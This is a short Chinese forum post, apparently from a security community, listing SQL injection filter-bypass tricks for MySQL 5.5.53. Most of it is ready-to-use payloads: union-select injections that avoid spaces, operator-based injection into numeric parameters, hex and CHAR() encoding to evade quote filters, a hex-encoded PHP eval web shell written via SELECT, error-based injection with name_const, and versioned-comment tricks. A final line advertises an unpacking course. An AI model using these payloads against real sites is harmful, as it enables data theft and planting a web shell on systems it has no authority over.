总结一些小技巧,欢迎指正
版本5.5.53
测试表结构
测试数据
1.过滤空格的
技巧:字符串加上引号不需要空格,数字加上括号不需要空格,/**/也能代替空格
Php:SELECT * FROM `test` WHERE `name`='$name' and `age`=18
Mysql:SELECT * FROM `test` WHERE `name`='1'or'1'union/**/select(1),(2),(3)from`test1`where(1)--'' and `age`=22
参数:$name=1'or'1'union/**/select(1),(2),(3)from`test1`where(1)--'
PS:不能控制整个整数的时候
技巧:用运算符连接+-*/等
Php:SELECT * FROM `test` WHERE `age`=1$age and `name`!='wangwu'
Mysql:SELECT * FROM `test` WHERE `age`=1+(1)or(1) and `name`!='wangwu'
参数:$age=+(1)or(1)
2.过滤引号的
技巧:用十六进制代替字符串(select的内容 参数内容都可以使用)
原:select ' <?php @eval($_POST[value]);?>' from `test` where `name`='wangwu'
Hex:select 0x3c3f70687020406576616c28245f504f53545b76616c75655d293b3f3e from `test` where `name`=0x77616e677775
技巧:用CHAR函数代替字符串
原:select * from test where `name`=’wangwu’
CHAR:select * from test where `name`=CHAR(0x77,0x61,0x6e,0x67,0x77,0x75)
3.报错注入
技巧:利用重复列报错显示重复列列名以及name_const来构造
a.select name_const(version(),0)
b.select*from (select name_const(version(),0))a , (select name_const(version(),0))b
c.select * from (select*from (select name_const(version(),0))a , (select name_const(version(),0))b )c
4.特殊注释
技巧:/!*50553*/ 表示版本是5.05.53及更高就执行
Mysql:/*!50553select*/ * from test;
[课程]FART 脱壳王!加量不加价!FART作者讲授!